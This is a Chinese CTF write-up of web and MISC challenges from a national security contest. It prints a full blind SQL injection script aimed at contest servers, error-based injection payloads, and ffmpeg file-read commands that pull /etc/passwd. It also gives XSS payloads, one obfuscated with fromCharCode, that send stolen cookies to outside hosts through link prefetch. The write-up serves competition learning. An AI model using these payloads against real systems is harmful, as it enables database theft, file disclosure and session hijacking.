第十届信息安全国赛 Web MISC writeup

周末花了一整天的打国赛技能赛的线上赛,去年比赛没能进入线下,当时就是因为感觉选手之间py太严重,今年没想到又遇到了这样的问题,所幸的是,今年运气比较好,做出来的题目比较多,所以py没有太过影响到我们。

下面就奉上web和misc的writeup,就我个人看的话,题目虽然不够新颖,但质量已经算是中上了,所谓的抄袭不知道是不是我见识短浅,就我个人看来都是比较正常的思路,xss可能抄袭了一个sandbox吧,感觉对题目本身没有太大的影响。

web

php

挺有趣的一题,虽然过滤很多,但是php是世界上最好的语言,能做的事情还是有很多

列目录,可以找到flag文件

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code=$f=[];$d=new DirectoryIterator("glob:///var/www/html/f*");var_dump($d);

image.png-274.5kB

然后show_source可以读文件

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<?php
$flag="flag{php_mail_ld_preload}";
?>

wanna to see your hat?

不太喜欢的一题,通过把语句加在html的前面,让浏览器没办法解析直接看到,无聊的设计。

抓包能看到语句

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select count(*) from t_info where username = '123' or nickname = '123'

简单的试了下 单引号被替换成了反斜杠,想到这样的话可以与 nickname 处的第一个引号闭合,构造一个永真语句就好了

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name=or(1=1)%23'&submit=check
select count(*) from t_info where username = 'or(1=1)#\' or nickname = 'or(1=1)#\'good job

flag vending machine

有一个迷惑的id,但是实际上没有任何卵用,感觉是完全无脑case过去的,所以看看别的点。

注册ddog’,在购买东西的时候显示购买成功,但是没有成功扣款。

那应该是存在二次注入,那我可以通过注册账号,然后购买东西,看钱是否减少,来判断条件的真假,这样可以构造出一个二次盲注。

其中还有一点儿过滤,可以通过复写绕过,可以直接通过注册来看名字判断这个问题,加在脚本里。

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# coding=utf-8
import requests
import random
import hashlib
import time
from random import Random
s = requests.Session()
# url = 'http://106.75.107.53:8888/'
# url = 'http://120.132.55.92:8888/'
url = 'http://120.132.20.183:8888/'
tables_count_num = 0
def get_tables(url):
for i in xrange(50):
payload = "ddog123' or ((SELECT COUNT(*) from information_schema.tables WHERE table_schema = DATABASE())="+str(i)+")#"
if get_data(payload):
print "[*] tables_number: "+str(i)
tables_number = i
break
for j in range(0,tables_number):
for i in xrange(50):
payload = "ddog123' or ((SELECT length(table_name) from information_schema.tables WHERE table_schema = DATABASE() limit 1 offset "+str(j)+")="+str(i)+")#"
if get_data(payload):
print "[*] tables_length: "+str(i)
tables_length = i
break
tables = ""
for i in range(1,tables_length+1):
for k in range(30,128):
payload = "ddog123' or (SELECT ascii(mid(((SELECT table_name from information_schema.tables WHERE table_schema = DATABASE() limit 1 offset "+str(j)+"))from("+str(i)+")))="+str(k+1)+")#"
# print payload
if get_data(payload):
tables += chr(k+1)
print "[*] tables: "+tables
break
print "[*] tables: " + tables
def get_colums(url):
for i in xrange(50):
payload = "ddog1223' or ((SELECT COUNT(*) from information_schema.columns WHERE table_name = 'fff1ag')="+str(i)+")#"
if get_data(payload):
print "[*] column_number: "+str(i)
column_number = i
break
# tables_number=3
for j in range(0,column_number):
for i in xrange(50):
payload = "ddog1223' or ((SELECT length(column_name) from information_schema.columns WHERE table_name = 'fff1ag' limit 1 offset "+str(j)+")="+str(i)+")#"
if get_data(payload):
print "[*] column_length: "+str(i)
column_length = i
break
column = ""
for i in range(1,column_length+1):
for k in range(30,128):
payload = "ddog1223' or (SELECT ascii(mid(((SELECT column_name from information_schema.columns WHERE table_name = 'fff1ag' limit 1 offset "+str(j)+"))from("+str(i)+")))="+str(k+1)+")#"
if get_data(payload):
column += chr(k+1)
print "[*] column: "+column
break
print "[*] column: " + column
def get_flag(url):
for i in xrange(50):
payload = "ddog12s3' or ((SELECT length(thisi5f14g) from fff1ag limit 1)="+str(i)+")#"
if get_data(payload):
print "[*] content_length: "+str(i)
content_length = i
break
content = ""
for i in range(1,content_length+1):
for k in range(30,128):
payload = "ddog123s' or (SELECT ascii(mid(((SELECT thisi5f14g from fff1ag limit 1))from("+str(i)+")))="+str(k+1)+")#"
# print payload
if get_data(payload):
content += chr(k+1)
print "[*] content: "+content
break
print "[*] content: " + content
def random_str(randomlength=8):
str = ''
chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
length = len(chars) - 1
random = Random()
for i in range(randomlength):
str+=chars[random.randint(0, length)]
return str
def get_data(payload):
payload1 = random_str(4)+payload
payload2 = payload1.replace("SELECT", "SELSELECTECT").replace("WHERE","WHEWHERERE").replace("on", "oonn")
register(payload2)
login(payload1)
buy()
return check()
def register(user):
r_url = url+"register.php"
data = {"user": user, "pass": "user"}
r = s.post(r_url,data=data)
def login(user):
l_url = url+"login.php"
data = {"user": user, "pass": "user"}
r = s.post(l_url,data=data)
def buy():
b_url = url+"buy.php?id=1"
r = s.get(b_url)
return r.text
def check():
c_url = url+"user.php"
r = s.get(c_url)
#停1s,压力有点儿大
# time.sleep(1)
if "1997667" in r.text:
return True
else:
return False
get_flag(url)
服务器特别卡,所以有误差,多打了几次拼起来
# flagEbbb6b6ui1d_5q1_iz_3z}
# flag{bbb6b6ui1d_5q1_iz_3z}

方舟计划

本来觉得非常有意思的一题,可能是除了非预期,导致3个队伍直接做出来了,然后主办方偷偷改题了,搞得人很难受,我们先一步一步来。

首先注册的电话号码地方有注入,但是有过滤

语句大概是
insert into users (username,password,phone) values (‘123’ , ‘123’, ‘test’)

然后可以显错,所以可以注

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username=test&phone=1%27and%20extractvalue%281%2C%20concat%280x5c%2C%28%20select%20%2a%20%2f%2a%2150000from%2a%2f%28select%20name%20%2f%2a%2150000from%2a%2f%20note.user%20where%20id%20%3D1%29x%29%29%29%29%23&password=1&repassword=1
用户名
fangzh0u
username=test&phone=1%27and%20extractvalue%281%2C%20concat%280x5c%2C%28%20select%20%2a%20%2f%2a%2150000from%2a%2f%28select%20password%20%2f%2a%2150000from%2a%2f%20note.user%20where%20name%3D%27ddog%27%29x%29%29%29%29%23&password=1&repassword=1
密码同理\L8qyd7Vk/BIUVSeBfGshSQ==

注出来的密码是乱码,很难受,所以看看表里还有没有别的东西。

发现一个config表
config里id,secrectkey
取到secrectkey BjDjgKE8CEk5hA9z9FDH7otvGntinomp

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key = "BjDjgKE8CEk5hA9z9FDH7otvGntinomp"
a = AES.new(base64.b64decode(key))
a.decrypt(base64.b64decode(c))
'tencent123\x00\x00\x00\x00\x00\x00'

这下账号和密码都有了,那么就登陆上去看看,是一个上传avi的地方,过滤比较严格,传上去的视频会转md4,当时第一反应就是那个ffmpeg任意文件读取的漏洞。

翻了一些文章就赛宁这个最完整,seebug也有一篇360的分析,也可以看看。

http://blog.cyberpeace.cn/FFmpeg/

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exp
https://github.com/neex/ffmpeg-avi-m3u-xbin

开始读/etc/passwd被过滤了,稍微研究了一下,好像是只过滤了这个,我们甚至还可以读etc/hosts,那么我们通过跨目录来绕过判断。

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python3 gen_xbin_avi.py file:///etc/init.d/../passwd 3.avi

image.png-275.5kB
找到了当前用户,猜测这里有flag

开始读这个目录没东西,突然有flag了

image.png-194.2kB

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python3 gen_xbin_avi.py file:////home/s0m3b0dy/flag 3.avi
flag{U8I6y5hRfmn5M0ViR8im6FAn0GmCb8rg}

guestbook

题目本身不太难,不过感觉很多人都对这个题有争议,我就多说几句吧。

题目主要有下面几个条件
聊天版,有CSP(允许unsafe-line),然后有一些sandbox,rname可以修改名字。

ps:这里本来想要详细一点儿,结果题关了…不能截图了

1、首先是sandbox

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<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>

应该是从0ctf那个题目复制过来的,但是我觉得很常见,没啥问题。

2、然后是CSP

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Content-Security-Policy
default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; font-src 'self' fonts.gstatic.com
; style-src 'self' 'unsafe-inline'; img-src 'self'

基本都是self

先说正解吧,正解思路比较清楚,既然unsafe-inline,那么我们先获取一个后台的请求再说,bypass csp的方式就那么几种,主要是meta和link两个,测试发现直接传入<link就会被替换为hacker。

那么我们可以通过unsafe-inline来构造一个link,那么就不会出现<link

我在http://lorexxar.cn/2016/10/28/csp-then/中提到这种攻击方式。

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var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
document.head.appendChild(n0t);

这里我们能收到请求,但是cookie里却没东西。这里有一个cookie的路径问题,一会儿也会提到,先简单说一下。

image.png-93.6kB

如果我们在同一个域的子目录下,我们能看到当前目录的cookie,还有根目录的cookie,通过document.cookie也能读到。

但我们却无法在根目录读取到子目录的cookie,同样也没办法跨目录读cookie,不知道的可以自己去尝试一下。

因为发现存在admin目录,所以怀疑cookie是在admin目录下。

这里的思路是通过iframe引入一个admin目录,然后读取admin目录cookie,返回回来。

脚本

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var iframe = document.createElement("iframe");
iframe.src = "../admin/";
iframe.id = "frame";
document.body.appendChild(iframe);
iframe.onload = function (){
var c = document.getElementById('frame').contentWindow.document.cookie;
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//xxx/?" + c);
document.head.appendChild(n0t);
}

如果测试过这个payload的话,你会发现,出问题了,因为onload被过滤了,而setTimeout函数需要eval,而这个函数进了沙箱…

这里突然发现还有一个功能,改名。

最最关键的问题是,index.php这个页面没有sandbox,也就是上面的payload是成立的,因为我们可以通过解字符来eval执行,这样就能绕过各种判断。

那么我们只要在提交的地方构造一个自动提交的表单,就能自动修改姓名,然后跳到index.php,执行js

payload

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<form id="re" action="../rename.php" method="POST">
<input name="nname" type="text" value="<script>eval(String.fromCharCode(118, 97, 114, 32, 105, 102, 114, 97, 109, 101, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 105, 102, 114, 97, 109, 101, 34, 41, 59, 10, 105, 102, 114, 97, 109, 101, 46, 115, 114, 99, 32, 61, 32, 34, 46, 47, 97, 100, 109, 105, 110, 47, 34, 59, 10, 105, 102, 114, 97, 109, 101, 46, 105, 100, 32, 61, 32, 34, 102, 114, 97, 109, 101, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 105, 102, 114, 97, 109, 101, 41, 59, 10, 10, 105, 102, 114, 97, 109, 101, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 40, 41, 123, 10, 32, 32, 9, 118, 97, 114, 32, 99, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 102, 114, 97, 109, 101, 39, 41, 46, 99, 111, 110, 116, 101, 110, 116, 87, 105, 110, 100, 111, 119, 46, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59, 10, 10, 9, 118, 97, 114, 32, 110, 48, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34, 108, 105, 110, 107, 34, 41, 59, 10, 9, 110, 48, 116, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 34, 114, 101, 108, 34, 44, 32, 34, 112, 114, 101, 102, 101, 116, 99, 104, 34, 41, 59, 10, 9, 110, 48, 116, 46, 115, 101, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 40, 34, 104, 114, 101, 102, 34, 44, 32, 34, 47, 47, 48, 120, 98, 46, 112, 119, 47, 63, 34, 32, 43, 32, 99, 41, 59, 10, 9, 100, 111, 99, 117, 109, 101, 110, 116, 46, 104, 101, 97, 100, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 110, 48, 116, 41, 59, 10, 125))</script>"/>
<input type="submit" value="提交">
</form>
<script>document.getElementById('re').submit()</script>

这样就能拿到flag。

赛后在和别人聊天时候发现这题还有别的解法,bypass sandbox.

当我们发现sandbox中删除了很多我们需要用到的函数,但是又被删除了,我们可以通过iframe,引入一个子页面,然后把子页面的函数读回来,这样就能绕过sandbox,也就不需要那步改名了。(很厉害的想法)

bypass csp
听@math1as说,bot时候的浏览器版本低于57,导致CVE-2017-5033可用,然后就能直接执行js,csp完全没用了,题目关了,没能亲自测试一下。

MISC

好像很多人关心misc的wp

传感器1

差分曼彻斯特编码,改了去年的题

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a = 0x3EAAAAA56A69AA55A95995A569AA95565556
b = 0x3EAAAAA56A69AA556A965A5999596AA95656
ba = bin(b)
print ba
ss = ""
for i in xrange(len(ba[2:])/2):
a1 = ba[i*2:i*2+2]
a2 = ba[i*2+2:i*2+4]
# print 'a1:'+a1
# print 'a2:'+a2
if a2 !='10' and a2 !='01':
continue
if a1 !='10' and a1 !='01':
ss+='1'
continue
if a1!=a2:
ss+='1'
else:
ss+='0'
# print ss
print ss
print len(ss)
ret = ''
# if '8893CA58' in ret:
print hex(int(ss,2)).upper()
#0X10024D8893CA584181L
#0X30024D8845ABF34119L

warmup

首页找了一张图,在明文攻击,这里有个小问题,最开始使用4.54跑的,跑了很久完全跑不出来,我还以为有啥问题,后来换了4.53,一下子就跑出来了。

这样拿到3张图,开始脑洞,后来突然想到信息隐藏里有个技术是盲水印攻击,有现成的脚本跑一下

https://github.com/chishaxie/BlindWaterMark

BadHacker

流量分析
乱七八遭的,啥也有…
有几个提示

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PRIVMSG #hacker :How can i decrpt them?
:Guest27!~hacker@218.29.102.122 PRIVMSG #hacker : you need to get the flag i hide on this server.
:Guest27!~hacker@218.29.102.122 PRIVMSG #hacker : I changed some lines of one of a file on this server,If you find which lines ,and sort them you will get the flag!
:Guest27!~hacker@218.29.102.122 PRIVMSG #hacker :emmmmmmm~~~
:Guest27!~hacker@218.29.102.122 PRIVMSG #hacker : just calc the md5,and add the flag{}

有个irc的服务器,没办法直接连上去,先扫扫端口

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─[lorexxar@icy] - [~/Documents] - [日 709, 14:24]
└─[$] <> nmap -sT -Pn -p1-10000 202.5.20.47
Starting Nmap 6.47 ( http://nmap.org ) at 2017-07-09 14:24 CST
Nmap scan report for 202.5.20.47
Host is up (0.16s latency).
Not shown: 9974 closed ports
PORT STATE SERVICE
22/tcp open ssh
135/tcp filtered msrpc
136/tcp filtered profile
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
443/tcp open https
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
901/tcp filtered samba-swat
1068/tcp filtered instl_bootc
2745/tcp filtered unknown
3127/tcp filtered unknown
3128/tcp filtered squid-http
3306/tcp filtered mysql
3333/tcp filtered dec-notes
4444/tcp filtered krb524
5554/tcp filtered sgi-esphttp
5800/tcp filtered vnc-http
5900/tcp filtered vnc
6129/tcp filtered unknown
6176/tcp filtered unknown
6667/tcp filtered irc
8923/tcp open unknown
8998/tcp filtered unknown
9996/tcp filtered unknown

打开8923是个站,404,显示了一个蜜汁域名信息,想到设置hosts打开,是个ichunqiu,没什么发现,那么扫目录

找到了mysql.bak

翻了翻啥都没有,很难受。

无意中发现换行崩了,脑洞一下,可能是换行有问题,研究了一下,发现有\r,\n,\r\n三种换行,如果nodpadd统计\r有7个,脑洞一下把行数连起来md5

get flag

文章目录
  1. 1. web
    1. 1.1. php
    2. 1.2. wanna to see your hat?
    3. 1.3. flag vending machine
    4. 1.4. 方舟计划
    5. 1.5. guestbook
  2. 2. MISC
    1. 2.1. 传感器1
    2. 2.2. warmup
    3. 2.3. BadHacker